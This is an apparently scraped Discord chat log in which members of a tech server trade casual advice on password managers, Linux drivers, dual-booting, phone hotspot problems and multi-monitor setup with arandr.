but if youre gonna do it

are u using bitwarden_rs?

[burnt schooner]

i just don't see myself paying another 3$ for a bitwarden family account while already paying 70 quid a month for power lmao

[wanton snow]

i mean

if its only about money

just support the devs

unless u want another lastpass lol

[burnt schooner]

nope it's the regular one

[burnt schooner]

oh hell no stop

[burnt schooner]

if i think the software works well, i will do my usual thing and donate 10£ after a year of use or so

[wanton snow]

use bitwarden_rs

[burnt schooner]

Is that rust in a docker container?

y?

[wanton snow]

better and gives prem features for free lol

[wanton snow]

[tight eagle]

[slender mulch]

how does one edit a file in ubuntu

its like a text file I think

[fallow belfry]

There's literally hundreds of text editors. Are you still trying to do everything without a gui? I like vim but nano works too

[slender mulch]

Lili gets mad at me if I use GUI -_-

I ended up using Nano btw

[night charm]

but its ubuntu

[slender mulch]

I know

Take it up with her

[night charm]

@wanton snow but why

its ubuntu

[wanton snow]

ubuntu server is gr8

[slender mulch]

New PFP again?

[sleek halo]

gif

Kinda miss GIF PFPs tbh

[slender mulch]

First you don’t change it for as long as I know you and now you’ve changed it twice in as many weeks

[sleek halo]

Nitro is overpriced tho

For the fact that I don't use any part of it really

[humble kindle]

:bean:

[night charm]

gif pfps are useless when you cant see it animated unless youre hovering over the message

imo should be part of the reduce motion option

i want to keep working on my discord replacement but im doing the BORING stuff right now and i have 0 desire to continue lol

i cannot wrap my mind around how discord made their search feature so fast and powerful

i also cannot wrap my mind around how they store messages

[humble kindle]

indexes everything, then binary tree search or something

[night charm]

yea, i cant wrap my mind around that lol

[night charm]

i also need to reinstall xampp that requires me restarting my pc :P

[wanton snow]

mine moves when i talk in calls

[wanton snow]

http://gef.org.uk/hacker.html

handy utilities for any parents here

:))

[rotund python]

always mentions son, gotta watch out for the 1337 daughters too

[wanton snow]

my parents didnt watch out for the 1337 daughter

[tribal forge]

does anyone use linux tho

[austere garnet]

how do you install amd drivers onto manjaro or any linux system per say

?

[fallow belfry]

Most of the drivers you need are included in the distro and those will get you to the desktop and do normal browsing and office activities. The only other hardware you might need to install are graphics drivers (if you want to play games or something), wireless drivers (if needed), or any other weird/uncommon hardware.

[frank steeple]

no

[wanton snow]

yes

[tight eagle]

Disagreement of the century

[brave isle]

@austere garnet just install the driver package and ure good to go

@fallow belfry depends on distro

[frank steeple]

These are AMD drivers we're talking here. Any decent distro will supply them as a kernel module, and most will already have it installed

[night charm]

ok lol i knew amd was more compatible with linux but i didnt know it was THAT compatible lmao

@frank steeple out of curiosity, do you know if arch ships with amd drivers?

[frank steeple]

This is arch we're talking about zach 🙂

[night charm]

ill take that as a no

[frank steeple]

Pretty much

It's in the "default" install instructions though

[zinc harness]

That would explain why when I tried to install Ubuntu it said AMD I’m guessing?

Like .AMD

[fallow belfry]

AMD64? (Or x86_64) Yeah it'll auto detect what architecture your CPU is capable of and auto pick kernel modules that work

[zinc harness]

Cool

[frank steeple]

Usually it's less it detecting the architecture automatically and more the installer being mad specifically for that architecture, but yeah

[zinc harness]

Alright lol

[frank steeple]

Kinda hard to run a program compiled for amd64 on ppc or arm after all 🙂

[zinc harness]

Yeah

[frank steeple]

But yeah, basically every desktop computer out there right now will be amd64

[zinc harness]

Cool

[frank steeple]

I would expect there to start being some arm systems available soon though

[zinc harness]

Nice

[frank steeple]

Apple has an arm lineup now, and I would expect AMD to start producing their own arm chips sometime soon

[zinc harness]

Yeah

[frank steeple]

intel, who knows

[zinc harness]

Kinda feel like they may end up bankrupt at this point

[frank steeple]

Probably not

[zinc harness]

Still possible though

[fallow belfry]

Nah they're too big to fail, they get gov bailouts if they get close

[zinc harness]

Alright

[frank steeple]

Very unlikely. They'll be out of the enthusiast consumer market for a bit, but they have a much bigger market than that

[zinc harness]

True

[frank steeple]

For example, basically every system has an intel networking chip

[zinc harness]

And they’re working on GPUs now apparently

[frank steeple]

Here's a partial list of what they make

[zinc harness]

That’s a lot lol

[frank steeple]

They've also got 20+ billion dollars of liquid assets

[zinc harness]

Dang

[frank steeple]

They'll be fine 🙂

[zinc harness]

Yeah

[finite cargo]

Didn't know where to ask since there's no android channel. I'm having really bad issues with my mobile hotspot that I use for school. My laptop keeps randomly disconnecting from it and then reconnecting sporadically. This is the output of ping 1.1.1.1:

My school lives 20 years in the past so students don't have wifi, we all have to have our own phone hotspots to do the required work. However I'm guessing since there are 20 different hotspots per room the 2.4GHz band gets pretty congested.

My phone (Pixel 3a, everything updated) has an option for the hotspot to either set it to 2.4GHz or to "prefer 5GHz". I have a feeling it's never 5GHz. Anything I could try?

[kind panther]

Use a usb cable to ur phone and tether the hotspot.

instead of over wifi

[finite cargo]

Yeah that works alright, but it's quite unwieldy since we're moving around the class for stuff.

Is there any way I could try to force 5GHz on my phone? These are the only settings I have.

Another thing to note is nobody else in my class seems to have this issue, they can connect to their own hotspots fine and I can connect to theirs.

[kind panther]

In that case it isnt a 2.4g clashing issue

Something wrong with your device

Just use cable ig

[night charm]

i decided to use linux for school today

i have had 0 issues

zoom actually runs better on linux, the ui is cleaner and faster

[zinc harness]

Nice

[night charm]

LMAO

https://cdn.discordapp.com/attachments/690022919035683029/819583473500422184/windowsfix.png

the arch wiki even has fixes for windows

thats hilarious

[zinc harness]

Lol

Also your supposed to be able to run both windows and Linux on the same storage drive right?

[night charm]

i would recommend just getting a separate drive for each os

[zinc harness]

Alright

[night charm]

its possible... but much easier and safer to use separate drives

windows is known to just eat the linux efi boot partition when it updates

because it was not made to have other osses on the same drive :P

even when youre setting it up, unplug other drives when installing osses on other drives

when i installed macos my widows install broke

and it was a pain to fix

[zinc harness]

Alright

Yeah I installed Linux after Windows and it broke my Windows installation and it took 6 hours for me to fix it

[night charm]

yeah lol

what linux?

[zinc harness]

Ubuntu

[night charm]

that explains it

[wanton snow]

ubuntu is funy epic

[night charm]

with arch it only makes the changes you intentionally do... aka if ur smart u dont bork other partitions

[zinc harness]

Cool

[night charm]

lili i have a question you may or may not be able to answer

[wanton snow]

yes

probs wont be able to answer but hell yea hit me with it

[night charm]

when i boot into linux, my monitor positions are screwed up (have to drag window to the right to put it on my left monitor) but when i quit bspwm and relog in it fixes itself

[wanton snow]

you know i only use cli

[night charm]

for reference i have gnome installed too, but it never goes to gnome

oh

welp

[wanton snow]

sory hehe

[night charm]

thats fine its some random obscure question anyways lol

with like 50 different things that could be the culprit

is it bspwm, xorg, gnome, or maybe even picom thats causing it? i have no idea lol

[wanton snow]

ask bob

[night charm]

hes helped me with too much 😩 i feel bad lol

@frank steeple heeelllooooooooo

[wanton snow]

[night charm]

ooh

i did figure out how to execute shell scripts on startup by myself

[zinc harness]

Would Linux run fine off a HDD? I don’t want to buy an SSD and when I get my external HDD I’m wiping all my games on my desktop anyways so I can share them between my laptop and desktop off it

[night charm]

linux is less bloated and therefore load times are less atrocious on a hdd compared to windows

[zinc harness]

Alright cool

[night charm]

im currently using arch off a hard drive

its fast enough

[zinc harness]

Alright

[night charm]

it would be a lot faster on a ssd, but windows on a hard drive takes like hours to load a program

[zinc harness]

Then maybe I’ll do it when I get the external

Alright

I’m using Windows off an NVMe but I mainly use Windows so don’t want to uninstall it to use Linux

[wanton snow]

linux runs fine on a sd card

[zinc harness]

Alright I don’t have a slot for one lol

[night charm]

noooooo

[zinc harness]

It’s a desktop

[night charm]

please dont run it off a sd card LOL

[zinc harness]

Alright lol

[wanton snow]

you can

[night charm]

keyword can

[wanton snow]

some people are literally selling rpi dedicated servers

for some reason

[mortal totem]

i tried running a few games or even a os on sad card

wasn’t very pretty

[night charm]

sad card LOL

[mortal totem]

xD

[wanton snow]

honestly cli only runs fine on very low iops

[mortal totem]

it is now sad card

[wanton snow]

i make sure all lililabs instances have fat iops

but

[night charm]

im so confused, why does zoom work on linux flawlessly

like

even better than windows

im blown away

[zinc harness]

I’ve only had to use it a few times

I might never have to use it again

[night charm]

only remaining issues ive had with linux:
mouse sensitivity too high
clock wrong (can probably fix through bios)
screen setup is a bit of an annoyance

considering those are the only remaining issues, im a happy camper

my keyboard dedicated media keys work without issue

ok well nvm on that last part pause doesnt work

but volume does lol...

[wanton snow]

imagine using mouse

[night charm]

yeah ik

[wanton snow]

you are weak in the ways of vps

[night charm]

im using arch with a tiling window manager and cli programs

im dumb lol

(i forgot keyboard shortcuts and im too lazy to find them again)

a ha

its super + h or l

[wanton snow]

[frank steeple]

@night charm install arandr, drag the virtual monitors to where you want them, and then press save

[night charm]

youre a lifesaver

thank you

[frank steeple]

That will give you a shell script that configures your monitors, so just set it to run when you log in

[night charm]

perfect, thanks

[frank steeple]

For the clock, is it messing up between Linux and windows?

[night charm]

yeah, but i dont think the linux one is ever right

i know its because of dual boot

windows isnt a huge issue because i can just sync time with the internet

[frank steeple]

Yeah. Give this a shot to see how it goes https://lifehacker.com/fix-incorrect-clock-settings-in-windows-when-dual-booti-5742148

[night charm]

got the monitor script working

i used arandr, but i only looked at what the script provided and combined it with my script

because the one arandr generated didnt set my refresh rates

i just had to add --primary and --pos 1920x0 to my main monitor, and --pos 0x0 to my secondary

[frank steeple]

Nice

[night charm]

i need to restart bspwm but im in the middle of a zoom 😩

also i took a look at that article lol

https://cdn.discordapp.com/attachments/690022919035683029/819583473500422184/windowsfix.png

i think the arch wiki has the same thing haha

[frank steeple]

It sure does lol

[wanton snow]

arch wiki taught me how to cook

[night charm]

csgo runs pretty well on linux

somehow it dropped frames while playing a premade video file...

but other than that the game ran fine

and my mouse sensitivity did not carry over to the game

aka

i can push off the issue till another date 😀

i set my hardware clock and system clock to the right times

now i just need to set windows to be normal

i also did a full system update while in class #thingsyoucanonlydoonlinux

[fallow belfry]

If you have a mouse with adjustable DPI buttons like a lot of Logitech gaming mice do, you can change the "Onboard" settings for the default and switchable DPI levels

[night charm]

the onboard is at 800dpi, i want to keep it that way

[frank steeple]

Have you looked at changing the sensitivity in the x server settings?

[night charm]

ive tried using xinput to modify the sensitivity matrix or something but no matter what i changed the values to it didnt appear to have any change

[merry zinc]

Brb

Id yalll go

Did

All alone again

[night charm]

i find it ironic that kvm switches can work for kvms

because kvm switches are kvm in the context of keyboard/video/mouse, however kvm in terms of linux is kernel based virtual machine

perfect name lol

[night charm]

@wanton snow https://cdn.discordapp.com/attachments/486251739910111260/819807517239935016/Screen_Capture_select-area_20210311234135.png

why do you hate gui linux 😭

[frank steeple]

Is that a polybar I see?